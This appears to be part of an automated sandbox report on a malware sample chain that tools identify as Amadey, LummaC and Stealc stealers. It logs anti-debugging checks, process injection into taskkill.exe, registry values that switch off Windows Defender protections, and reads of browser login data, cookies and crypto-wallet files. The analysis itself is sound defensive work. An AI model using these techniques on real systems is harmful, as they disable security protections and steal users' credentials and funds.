Source: C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008518001\44452951d3.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008518001\44452951d3.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008518001\44452951d3.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe

Code function: 0_2_04FC029B rdtsc

0_2_04FC029B

Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\1008518001\44452951d3.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: e2af9f55fd.exe PID: 3684, type: MEMORYSTR

Allocates memory in foreign processes

Source: C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe

Memory allocated: C:\Windows\SysWOW64\taskkill.exe base: 27F0000 protect: page read and write

Excessive usage of taskkill to terminate processes

Source: C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe	Process created: C:\Windows\SysWOW64\taskkill.exe

Writes to foreign memory regions

Source: C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe	Memory written: C:\Windows\SysWOW64\taskkill.exe base: 27F0000
Source: C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe	Memory written: C:\Windows\SysWOW64\taskkill.exe base: 298F2D8
Source: C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe	Memory written: C:\Windows\SysWOW64\taskkill.exe base: 29901E8

Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe "C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe "C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe "C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008518001\44452951d3.exe "C:\Users\user\AppData\Local\Temp\1008518001\44452951d3.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=f20b4c0961.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=f20b4c0961.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=f20b4c0961.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe	Process created: C:\Windows\SysWOW64\taskkill.exe

Source: d146970153.exe, 0000000C.00000002.2347191221.0000000000C92000.00000002.00000001.01000000.0000000B.sdmp	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: skotes.exe, skotes.exe, 00000003.00000002.1532394072.00000000005EC000.00000040.00000001.01000000.00000007.sdmp	Binary or memory string: Program Manager
Source: e2af9f55fd.exe, e2af9f55fd.exe, 0000000A.00000002.2253762327.0000000000E78000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: \Program Manager
Source: firefox.exe, 00000019.00000002.2437589344.000000D5EAC7B000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: ?ProgmanListenerWi

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008518001\44452951d3.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008518001\44452951d3.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\1008518001\44452951d3.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\1008518001\44452951d3.exe

Registry value created: TamperProtection 0

Modifies windows update settings

Source: C:\Users\user\AppData\Local\Temp\1008518001\44452951d3.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions
Source: C:\Users\user\AppData\Local\Temp\1008518001\44452951d3.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates
Source: C:\Users\user\AppData\Local\Temp\1008518001\44452951d3.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations

Source: f20b4c0961.exe, f20b4c0961.exe, 00000009.00000003.2272289947.00000000011AB000.00000004.00000020.00020000.00000000.sdmp, f20b4c0961.exe, 00000009.00000003.2272672432.000000000118A000.00000004.00000020.00020000.00000000.sdmp, f20b4c0961.exe, 00000009.00000003.2294281840.0000000001176000.00000004.00000020.00020000.00000000.sdmp, f20b4c0961.exe, 00000009.00000003.2272465396.0000000001185000.00000004.00000020.00020000.00000000.sdmp, f20b4c0961.exe, 0000000B.00000003.2476887903.00000000006E8000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 3.2.skotes.exe.3f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.skotes.exe.3f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.2fQ8fpTWAP.exe.5c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.1443898887.0000000004DB0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1532319346.00000000003F1000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000003.1985177506.0000000004BC0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1523091105.00000000003F1000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1482818635.0000000005140000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1484037273.00000000005C1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.1492066593.00000000050B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Credential Flusher

Source: Yara match	File source: 00000038.00000003.2755283804.0000000001236000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: d146970153.exe PID: 7652, type: MEMORYSTR

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: f20b4c0961.exe PID: 3576, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: f20b4c0961.exe PID: 3848, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 0000000A.00000003.2212530060.0000000004E00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000026.00000002.2702954448.0000000000AA1000.00000040.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.2408464145.0000000000AA1000.00000040.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2254292302.000000000128E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2253374920.0000000000AA1000.00000040.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.2416102733.000000000174B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000026.00000002.2706190538.0000000001442000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.2356073494.0000000005450000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000026.00000003.2612937099.00000000051D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: e2af9f55fd.exe PID: 3684, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: f20b4c0961.exe, 00000009.00000003.2189000814.0000000001176000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Electrum
Source: f20b4c0961.exe, 00000009.00000003.2189000814.0000000001176000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/ElectronCash
Source: f20b4c0961.exe, 00000009.00000003.2246243440.000000000118C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\com.liberty.jaxx\IndexedDB
Source: f20b4c0961.exe, 00000009.00000003.2189000814.0000000001176000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: f20b4c0961.exe, 00000009.00000003.2163858876.0000000001176000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: "t":0,"p":"%appdata%\\Exodus\\exodus
Source: f20b4c0961.exe, 00000009.00000003.2246243440.000000000118C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Exodus
Source: f20b4c0961.exe, 0000000B.00000003.2321917430.0000000000704000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\Binance
Source: f20b4c0961.exe, 00000009.00000003.2189000814.0000000001176000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Ethereum
Source: f20b4c0961.exe, 00000009.00000003.2246243440.000000000118C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: f20b4c0961.exe, 00000009.00000003.2246243440.000000000118C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore
Source: f20b4c0961.exe, 0000000B.00000003.2321730162.00000000006FD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
